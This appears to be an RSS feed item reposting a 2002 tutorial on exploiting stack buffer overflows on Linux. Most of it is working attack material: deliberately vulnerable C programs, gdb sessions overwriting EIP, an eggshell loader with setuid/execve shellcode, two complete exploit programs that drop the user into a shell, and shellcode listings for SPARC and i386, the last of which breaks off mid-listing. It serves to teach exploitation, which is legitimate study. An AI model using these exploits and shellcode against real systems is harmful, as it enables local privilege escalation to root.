<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SecurityGyan &#187; Study Material</title>
	<atom:link href="http://securitygyan.com/category/study-material/feed/" rel="self" type="application/rss+xml" />
	<link>http://securitygyan.com</link>
	<description>World of information security</description>
	<lastBuildDate>Mon, 14 Dec 2009 10:00:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>Basic Buffer Overflow Exploitation Explained</title>
		<link>http://securitygyan.com/2009/05/03/basic-buffer-overflow-exploitation-explained/</link>
		<comments>http://securitygyan.com/2009/05/03/basic-buffer-overflow-exploitation-explained/#comments</comments>
		<pubDate>Sun, 03 May 2009 07:31:51 +0000</pubDate>
		<dc:creator>Vinod Sharma</dc:creator>
				<category><![CDATA[Study Material]]></category>

		<guid isPermaLink="false">http://securitygyan.com/?p=38</guid>
		<description><![CDATA[Author: mercy Title: Basic Buffer Overflow Exploitation Explained Date: 30/10/2002 Original Link: http://www.milw0rm.com/papers/97 oO::BASICS::Oo A starting point for this tutorial requires the readers to have a simple understanding of the C programming language, the way the stack and memory is organised, and asm knowledge is helpfull though not essential. (I always wanted to say that [...]]]></description>
			<content:encoded><![CDATA[<p>Author: mercy<br />
Title: Basic Buffer Overflow Exploitation Explained<br />
Date: 30/10/2002<br />
Original Link: <a href="http://www.milw0rm.com/papers/97">http://www.milw0rm.com/papers/97</a></p>
<p>oO::BASICS::Oo</p>
<p>A starting point for this tutorial requires the readers to have a simple understanding<br />
of the C programming language, the way the stack and memory is organised, and asm knowledge<br />
is helpfull though not essential. (I always wanted to say that heh)<br />
When I refer to Buffer overflows throughout this article, I am refering to stack based overflows, there<br />
is a difference between stack based overflows, and heap based, though as your research progresses you<br />
will find that out.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[Before we go on any further I would like to give you some jargon because there is a lot of it throughout this<br />
tutorial, meaning you will have to learn it, and learn it well:]</p>
<p>ASM: abbreviation for assembly, which is a second generation programming language.</p>
<p>Buffer: A temporary stored place for data.</p>
<p>Register: This is used by your processer to hold information and control execution.</p>
<p>EIP: This is the instruction pointer which is a register, it points to your next command.</p>
<p>EBP: ebp is the base pointer, it points to the top of the stack, and when a function is called it is pushed, and popped on return.</p>
<p>Vulnerability: A software hole allowing an attacker to do malicious things.</p>
<p>Exploit: Takes advantage of a vulnerability.</p>
<p>`perl -e&#8217;print &#8220;A&#8221; x 1000&#8242;`: This is used by an attacker, it saves us time, it prints &#8220;A&#8221; 1000 times.</p>
<p>Core dump: This is what your program looked like just before it crashed, it is saved in a file usually called core.</p>
<p>GDB: General debugger, it is used to follow a programs execution, and to examine core files.</p>
<p>Shellcode: This is a bunch of asm instructions put in hex, we usually make eip point to our shellcode to get executed.</p>
<p>NOP: This is an assembly instruction, stands for No Operation meaning do nothing, this is good to point your EIP into.</p>
<p>lil endian: It is how memory addresses are stored on most systems, little bytes first.</p>
<p>Eggshell: This is usually what we store shellcode into, it just holds the instructions at a fixed location, then we point to<br />
that location and WHAM it gets executed.</p>
<p>Setuid/Setgid: These are basically file permissions, if they are set, then it means the program when you run it, will run<br />
it under a different user id, the importance of these programs are if we hack them, we can gain control of the other<br />
users account.</p>
<p>Shell: Usually an interactive prompt in which we run commands from, a setuid sh shell means we run a shell from a uid,<br />
hopefully 0 which is root.</p>
<p>[/jargon]<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[side notes: to know before we get started:]</p>
<p>EIP:<br />
Throughout all buffer overflow tutorials you will read about the importance of gaining control of the EIP register,<br />
why is this? Like it says in the jargon, this points to our next instruction.<br />
Now a little bit of theory:<br />
We have our shellcode (full of all the commands we want to run), and the eip in a normal case is pointing to the next<br />
command:<br />
eip &#8211;> next_command.<br />
Well for us to make the program run our code, we would usually make eip point to our shellcode, so:<br />
eip &#8211;> shellcode.<br />
As you can see, the importance of making eip point to our shellcode, is so we can get the commands executed.</p>
<p>NOPS:<br />
No operations are an important part of shellcode, imagine trying to point to a single address, that holds our shellcode,<br />
when the possibility of pointing to the correct address is slim, Nops make it easier, because they do nothing, they just<br />
go down until the next instruction, so imagine your shellcode in the environment, and we point to the wrong address<br />
which just so happens to have our NOPS:</p>
<p>0xbffffca8: NOP<br />
0xbffffcac: NOP<br />
0xbffffcb2: SHELLCODE</p>
<p>eip -> 0xbffffca8<br />
In this example, eip is pointing to 0xbffffca8 which just so happens to hold a NOP instruction, so it gets executed<br />
just going down, and then viola we hit SHELLCODE.<br />
If you do not understand any of this now, dont worry, read on, get a basic idea, then come back.</p>
<p>[/side notes]<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>oO START OF TUTORIAL Oo</p>
<p>Buffer overflows are a common vulnerability on all platforms, but are by far the most commonly exploited<br />
bug on the linux/unix Operating systems.<br />
Commonly buffer overflows are exploited to change the flow in a programs execution, so that it<br />
points to a different memory address or overwrites crucial memory segments.<br />
If you know how memory is organised, you would know that on all x86 linux platforms, memory<br />
is organised in 4byte (32 bit) segments, consisting of a hex memory address, and will need to be converted to little<br />
endian byte ordering.</p>
<p>Buffer overflows are the result of stuffing more data into a programs buffer or input device than is defined/allowed for<br />
in the program.<br />
A simple example of a vulnerable program susceptible to a buffer overflow is given below:</p>
<p>&#8211;vuln1.c&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>#include <stdio.h><br />
#include <string.h></p>
<p>int main(int argc, char **argv)<br />
{<br />
	char buff[512];<br />
	if(argc < 2)<br />
	{<br />
		printf("Usage: %s <name>\n&#8221;, argv[0]);<br />
		exit(0);<br />
	}<br />
	strcpy(buff, argv[1]);<br />
	printf(&#8220;Your name: %s\n&#8221;, buff);<br />
	return 0;<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>lets try by giving this program a test:</p>
<p>mercy@hewey:~/tut > gcc vuln1.c -o vuln1<br />
mercy@hewey:~/tut > ./vuln1<br />
Usage: ./vuln1 <name><br />
mercy@hewey:~/tut > ./vuln1 mercy<br />
Your name: mercy<br />
mercy@hewey:~/tut > </p>
<p>As we can see, this program is fully functional, and does what it is required to do. But<br />
lets see what happens when we fill buff (argv[1]) with more than 512 chars:</p>
<p>mercy@hewey:~/tut > ./vuln1 `perl -e&#8217;print &#8220;A&#8221; x 516&#8242;`<br />
Your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
Segmentation fault (core dumped)<br />
mercy@hewey:~/tut > </p>
<p>What happened there? the program crashed due to a segmentation fault &#8211; we filled the buffer<br />
with more data than it was defined to hold, in turn changing where our eip (instruction pointer) points too, ending in an<br />
illegal adress violation.<br />
Lets see exactly where, and why this program crashed by starting up our favourite debugger, gdb:</p>
<p>(Note: if you did not get a core dump it is most likely because you have not set a limit, at the<br />
command prompt type: ulimit -c unlimited: if this fails still, make sure you have write access in<br />
the executing directory, and make sure that the file is not suid, you will not get core dumps on<br />
suid files.)</p>
<p>mercy@hewey:~/tut > gdb -c core vuln1<br />
GNU gdb 5.0<br />
Copyright 2000 Free Software Foundation, Inc.<br />
&#8230;..<br />
Core was generated by `./vuln1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#8217;.<br />
Program terminated with signal 11, Segmentation fault.<br />
&#8230;..<br />
#0  0x4003bc00 in __libc_start_main () from /lib/libc.so.6<br />
(gdb) info reg<br />
&#8230;..<br />
esp            0xbffff5d4       0xbffff5d4<br />
ebp            0&#215;41414141       0&#215;41414141<br />
esi            0&#215;40016624       1073833508<br />
edi            0&#215;8048480        134513792<br />
eip            0x4003bc00       0x4003bc00<br />
&#8230;..<br />
(gdb) </p>
<p>From this we can see that our ebp is pointing to the address: 0&#215;41414141.<br />
Now if you know your computer theory well, the hex value for the ascii character &#8216;A&#8217; is actually<br />
41, and the value we have overflown buff with is &#8216;AAAA&#8217;.<br />
Though still, we cannot gain access to the flow of execution if we do not have access to change the eip (unless you use the off<br />
by one technique for the ebp).<br />
The relation of ebp and eip on the stack is:</p>
<p>&#8212;&#8212;&#8212;<br />
EBP   |    4 bytes<br />
&#8212;&#8212;&#8212;<br />
EIP    |    4 bytes<br />
&#8212;&#8212;&#8212;</p>
<p>From this diagram you can see that the ebp is four bytes before the eip, meaning if we overflow the buffer by<br />
4 more bytes we can overwrite the eip with the address we supply.<br />
Lets try this example again:</p>
<p>mercy@hewey:~/tut > ./vuln1 `perl -e&#8217;print &#8220;A&#8221; x 520&#8242;`<br />
Your name:<br />
&#8230;&#8230;&#8230;.<br />
Segmentation fault (core dumped)<br />
mercy@hewey:~/tut > gdb -c core<br />
GNU gdb 5.0<br />
Copyright 2000 Free Software Foundation, Inc.<br />
&#8230;.<br />
Core was generated by `./vuln1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#8217;.<br />
Program terminated with signal 11, Segmentation fault.<br />
#0  0&#215;41414141 in ?? ()<br />
(gdb) info reg<br />
&#8230;..<br />
ebp            0&#215;41414141       0&#215;41414141<br />
esi            0&#215;40016624       1073833508<br />
edi            0&#215;8048480        134513792<br />
eip            0&#215;41414141       0&#215;41414141<br />
eflags         0&#215;210246 2163270<br />
&#8230;&#8230;</p>
<p>Ah ha, we have done it, we changed the programs instruction pointer to point to the address which we supplied, that being<br />
0&#215;41414141 (AAAA). So knowing this, we can supply an arbituary address that would hold our malicious<br />
code, this code can be anything we specify, though most beneficial would be a setuid sh shell.<br />
The code must be stored at any readable/writeable address on the system, so you will need to get the shellcode and store it.<br />
A tutorial on writing your own shellcode will be posted on the site as soon as possible.<br />
For the time being, use the shellcode presented at the bottom of this tutorial.<br />
So now our objective is to store our code in an address, obtain the address, and overflow the buffer to point<br />
to our address.<br />
Now we will have to compile some code.<br />
Our eggshell code will look like so:</p>
<p>&#8211;egg1.c&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>#include <stdio.h><br />
#define NOP 0&#215;90</p>
<p>char shellcode[] =<br />
&#8220;\x31\xc0\x31\xdb\x31\xd2\x53\x68\x69\x74\x79\x0a\x68\x65\x63&#8243;<br />
&#8220;\x75\x72\x68\x44\x4c\x20\x53\x89\xe1\xb2\x0f\xb0\x04\xcd\x80&#8243;<br />
&#8220;\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\x31\xc0\x50\x68\x6e&#8221;<br />
&#8220;\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53&#8243;<br />
&#8220;\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80&#8243;;</p>
<p>int main(void)<br />
{<br />
  char shell[512];<br />
  puts(&#8220;Eggshell loaded into environment.&#8221;);<br />
  memset(shell,NOP,512);<br />
  memcpy(&#038;shell[512-strlen(shellcode)],shellcode,strlen(shellcode));<br />
  setenv(&#8220;EGG&#8221;, shell, 1);<br />
  putenv(shell);<br />
 system(&#8220;bash&#8221;);<br />
  return(0);<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>To find the address of our eggshell, we could go through the core dump<br />
trying to find it, or we could just as easily write up a basic program that finds the location:</p>
<p>&#8211;eggfind.c&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>#include <stdio.h></p>
<p>int main(void)<br />
{<br />
   printf(&#8220;0x%lx\n&#8221;, getenv(&#8220;EGG&#8221;));<br />
   return 0;<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>/*NOTE: Some different methods of exploitation/shellcode will be shown at the bottom of the article. */<br />
/* From further research, the above code will not find the address of EGG in the vulnerable programs address space<br />
     it will more than likely just be a lucky guess and reach the NOP&#8217;s. I will study more and put exact code up asap. */</p>
<p>So, we have stored our address into memory, and retrieved it, there is a little more we have to do to it.<br />
If we are using a little endian byte ordering system, you will need to convert it.<br />
(Note: if you would like to learn more about little endian, or would like a more in-depth guide to converting,<br />
 read my tutorial also presented on the site, little endian architectures are processors such as the x86)</p>
<p>mercy@hewey:~/tut > ./egg1<br />
Eggshell loaded into environment.<br />
bash-2.05$ ./eggfind<br />
0xbffffb3c<br />
bash-2.05$ </p>
<p>From this we can see that our shellcode is stored at the address 0xbffffb3c<br />
To convert this address to little endian, we must first remove the 0x &#8211; this is not necissary when converting.<br />
Now we must break the address up into two byte lots:</p>
<p>bf ff fb 3c</p>
<p>Now comes the converting, we grab the last byte of the address and move it to the first, and so on, though in<br />
doing so the start starts one position later. (A detailed diagram is presented in my article.)</p>
<p>So our converted little endian address will look like so:</p>
<p>3cfbffbf</p>
<p>before we can use this address, we must specify to printf (the function we will be using) that they are hex characters,<br />
so it does not interpret them as ascii, we add a \x before each byte, in turn making the address: \x3c\xfb\xbb\xbf</p>
<p>Now we must put all of this together to form our buffer overflow string, we are only going to fill the buffer with 516 &#8216;A&#8217;s<br />
because if you remember, it only takes the last 4 bytes to change the pointed to memory address, and we overwrite our ebp<br />
with 516 characters, so in the last four bytes we will store our converted address.</p>
<p>Everything we have learnt put together:</p>
<p>bash-2.05$ ./vuln1 `perl -e&#8217;print &#8220;A&#8221; x 516&#8242;&#8220;printf &#8220;\x3c\xfb\xff\xbf&#8221;`<br />
Your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
<???<br />
DL Security<br />
sh-2.05$ id<br />
uid=529(mercy) gid=100(users) groups=100(users)<br />
sh-2.05$ </p>
<p>If this program was suid then of course, we would have been dropped into a root shell and had root privelages.<br />
Lets look at another basic example to give you another idea of exploiting buffer overflows in different situations,<br />
say the vulnerable program is trying to access an environmental variable.</p>
<p>--vuln2.c------------------------------------------------</p>
<p>#include <stdio.h><br />
#include <string.h></p>
<p>int main(int argc, char **argv)<br />
{<br />
	char buff[512], *envpoint;<br />
	if((envpoint = (char *)getenv(&#8220;TEST&#8221;)) == NULL)<br />
	{<br />
		printf(&#8220;No environmental variable TEST.\n&#8221;);<br />
		return 0;<br />
	}<br />
	strcpy(buff, envpoint);<br />
	printf(&#8220;The environmental variable TEST holds: %s\n&#8221;, buff);<br />
	return 0;<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>We can see from the code, that buff can only hold 512 characters as exploited previously, though this time<br />
it copys the string from an environmental variable instead of argv[1].</p>
<p>mercy@hewey:~/tut > gcc vuln2.c -o vuln2<br />
mercy@hewey:~/tut > ./vuln2<br />
No environmental variable TEST.<br />
mercy@hewey:~/tut > </p>
<p>Here we obviously have not set anything for the environment variable TEST. So lets export a value for it and see how we go.</p>
<p>mercy@hewey:~/tut > export TEST=&#8221;Digital Legion Security&#8221;<br />
mercy@hewey:~/tut > ./vuln2<br />
The environmental variable TEST holds: Digital Legion Security<br />
mercy@hewey:~/tut > </p>
<p>Alright, so we can see it responds to our new variable, and has copyed TEST to buff. We know from the source that buff can<br />
only hold 512 characters, so from this we can exploit it in the same old way, lets give it a go, load the shellcode into the environment,<br />
get the address, and test it all out.</p>
<p>mercy@hewey:~/tut > ./egg1<br />
Eggshell loaded into environment.<br />
bash-2.05$ ./eggfind<br />
0xbffffb3c<br />
bash-2.05$ export TEST=`perl -e&#8217;print &#8220;A&#8221; x 516&#8242;&#8220;printf &#8220;\x3c\xfb\xff\xbf&#8221;`<br />
bash-2.05$ ./vuln2<br />
The environmental variable TEST holds: &#8230;..AAAAAAAAAAAAAAAA&#8230;.<???<br />
DL Security<br />
sh-2.05$ </p>
<p>Again, no really new methods were introduced, just a different scenario. Sometimes when exploiting buffer overflows<br />
your shellcode does not work, this is most likely because you have not eliminated all the NULL characters, the shellcode<br />
presented at the bottom of this article should work in all basic situations, also different systems and architectures may use<br />
different sys calls, so if you come to a situation where you shellcode does not work, you will find you have to develop your own shellcode. </p>
<p>One problem a LOT of people find, is that tutorials dont relate to their work:<br />
hey my buffer is 512 like yours, though my eip gets overwritten at 584!<br />
There is an explanation for this, basically on a lot of newer linux/kernel distrobutions, you have what is known as junk between<br />
buffers and registers, this basically means that though you have specified 512, the program will put junk so instead of your perfect situation:<br />
[EIP]<br />
[EBP]<br />
buffer[512];</p>
<p>You end up with something rather like:<br />
[EIP]<br />
[EBP]<br />
[JUNK]<br />
buffer[512];</p>
<p>With that it is unpredictable, or rather unpractical for me to go too in depth in this tutorial, basically for the moment try just brute forcing<br />
the amount of junk needed.<br />
A brief explanation will be given at the end for those that want to find the exact amount set aside.</p>
<p>----------------------------------------------------------------------------------------<br />
----------------------------------------------------------------------------------------</p>
<p>oO::EXPLOIT CODING::Oo</p>
<p>This section is just for those of you that would like to see some extremely basic exploit code for programs so you can start<br />
on the writing and development of your own.<br />
These two programs will exploit both of the vulnerable programs presented in this article.</p>
<p>/* -----exploit1.c ------------- */</p>
<p>#include <stdio.h><br />
#include <stdlib.h><br />
#include <string.h></p>
<p>#define NOP 0&#215;90      // defining the NOP<br />
#define VUL_FILE &#8220;./vuln1&#8243;</p>
<p>char shellcode[] =<br />
		 &#8220;\x31\xc0\x31\xdb\x31\xd2\x53\x68\x69\x74\x79\x0a\x68\x65\x63&#8243;<br />
		&#8220;\x75\x72\x68\x44\x4c\x20\x53\x89\xe1\xb2\x0f\xb0\x04\xcd\x80&#8243;<br />
		&#8220;\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\x31\xc0\x50\x68\x6e&#8221; // our shellcode<br />
		&#8220;\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53&#8243;<br />
		&#8220;\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80&#8243;;</p>
<p>unsigned long get_sp(void)<br />
{<br />
	__asm__(&#8220;movl %esp, %eax&#8221;);        // this function returns the stack pointer address, hopefully where<br />
}                                                                                 // our shellcode is stored.</p>
<p>int main(int argc, char *argv[], char **envp)<br />
{<br />
	int buff = 520;            // size of the vuln buffer.<br />
	unsigned long addr;       // addr of shellcode.<br />
	char *ptr;     // used for adding nops etc.<br />
	if(argc > 1)<br />
		buff = atoi(argv[1]);      // if the user supplies a size, use this instead.</p>
<p>	if((buff % 4) != 0)                                              // if the size is not a mem addr (divisable by 4)<br />
		buff = buff + 4 &#8211; (buff % 4);      // add 4 to it, take away the remainder (makes it divisable by 4)</p>
<p>	if((ptr = (char *)malloc(buff)) == NULL)     // check to see you allocated enough memory.<br />
	{<br />
		printf(&#8220;Error allocating memory.\n&#8221;);<br />
		exit(0);<br />
	}<br />
	addr = get_sp();                  // get the address of our shellcode hopefully.<br />
	memset(ptr, NOP, buff);         // fill the buffer with NOPS making our chances higher.<br />
	memcpy(ptr + buff &#8211; strlen(shellcode) &#8211; 8, shellcode, strlen(shellcode));    // store the shellcode in the buffer.<br />
	*(long *)&#038;ptr[buff - 4] = addr;        // make eip point to our shellcode.<br />
	execl(VUL_FILE, &#8220;exploit example1&#8243;, ptr, NULL);      // execute the vuln program with our NOPS&#038;shellcode in the buffer.<br />
	return 0;<br />
}<br />
/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; */</p>
<p>This is the exploit for the second vulnerable program presented in this article.</p>
<p>/* &#8212;&#8211;exploit2.c &#8212;&#8212;&#8212;&#8212;- */</p>
<p>// This may be a lil difficult for you to understand, basically we are putting our shellcode<br />
// into the second argument to the program, overflowing the env-var TEST and making<br />
// eip point to &#038;argv[1].. hence where our shellcode is located.<br />
// NOTE: the address will change from system to system, so it is up to you to find the addr <img src='http://securitygyan.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>#include <stdio.h></p>
<p>#define ret 0xbffffa09  // &#038;argv[1] of vuln prog.<br />
#define VULN &#8220;./test2&#8243;        // vuln program<br />
#define SIZE 528         // size of buffer overflow.</p>
<p>char shellcode[] =<br />
		\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&#8243;       // NOPS<br />
		&#8220;\x31\xc0\x31\xdb\x31\xd2\x53\x68\x69\x74\x79\x0a\x68\x65\x63&#8243;<br />
		&#8220;\x75\x72\x68\x44\x4c\x20\x53\x89\xe1\xb2\x0f\xb0\x04\xcd\x80&#8243;<br />
		&#8220;\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\x31\xc0\x50\x68\x6e&#8221;     // shellcode<br />
		&#8220;\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53&#8243;<br />
		&#8220;\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80&#8243;;</p>
<p>int main(int argc, char **argv, char **envp)<br />
{<br />
   char buffer[SIZE];  // a buffer of 528 char elements.<br />
   memset(buffer, &#8216;A&#8217;, SIZE);     // fill it with &#8216;A&#8217;s<br />
   buffer[SIZE - 4] = (ret &#038; 0x000000ff);<br />
   buffer[SIZE - 3] = (ret &#038; 0x0000ff00) >> 8;<br />
   buffer[SIZE - 2] = (ret &#038; 0x00ff0000) >> 16;          // convert the last 4 bytes to lil endian (addr. of shellcode for EIP)<br />
   buffer[SIZE - 1] = (ret &#038; 0xff000000) >> 24;<br />
   buffer[SIZE] = 0&#215;00;                                                   // add a NULL byte to the end.<br />
   setenv(&#8220;TEST&#8221;, buffer, 1);                                        // export the vulnerable env-var with our exploit buffer.<br />
   execl(VULN, VULN, shellcode, NULL);            // run the vuln program, with shellcode in argv[1]<br />
   return(0);<br />
}</p>
<p>/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; */</p>
<p>Explanation of shellcode storage for exploit2.c:</p>
<p>Basically, we can store our shellcode anywhere we possibly can, this for most people means in an env-var, though<br />
there is nothing that says it has to be that, all options passed to a program are stored on the stack also, so this means<br />
if we find the address of argv[1], store our shellcode in argv[1] of the vuln program, and then make eip point to that<br />
location, it is the same as storing the shellcode in an env-var, finding the address of the env-var, and making eip point<br />
there.<br />
Hope this gives you a few ideas in shellcode storage.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>oO::SHELLCODE FOR DIFFERENT ARCHITECTURES::Oo</p>
<p>SPARC/Solaris<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
        sethi   0xbd89a, %l6<br />
        or      %l6, 0x16e, %l6<br />
        sethi   0xbdcda, %l7<br />
        and     %sp, %sp, %o0<br />
        add     %sp, 8, %o1<br />
        xor     %o2, %o2, %o2<br />
        add     %sp, 16, %sp<br />
        std     %l6, [%sp - 16]<br />
        st      %sp, [%sp - 8]<br />
        st      %g0, [%sp - 4]<br />
        mov     0x3b, %g1<br />
        ta      8<br />
        xor     %o7, %o7, %o0<br />
        mov     1, %g1<br />
        ta      8<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>SPARC/SunOS<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
        sethi   0xbd89a, %l6<br />
        or      %l6, 0x16e, %l6<br />
        sethi   0xbdcda, %l7<br />
        and     %sp, %sp, %o0<br />
        add     %sp, 8, %o1<br />
        xor     %o2, %o2, %o2<br />
        add     %sp, 16, %sp<br />
        std     %l6, [%sp - 16]<br />
        st      %sp, [%sp - 8]<br />
        st      %g0, [%sp - 4]<br />
        mov     0x3b, %g1<br />
	mov	-0&#215;1, %l5<br />
        ta      %l5 + 1<br />
        xor     %o7, %o7, %o0<br />
        mov     1, %g1<br />
        ta      %l5 + 1<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>i386 LINUX:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>	xor %eax,%eax<br />
	xor %ebx, %ebx<br />
	xor %ecx,%ecx<br />
	mov $0&#215;17, %eax         # setuid(0, 0)<br />
	int $0&#215;80<br />
	xor %eax,%eax<br />
	xor %edx,%edx<br />
	push %ebx<br />
	push $0x68732f6e<br />
	push $0x69622f2f<br />
	mov %esp, %ebx<br />
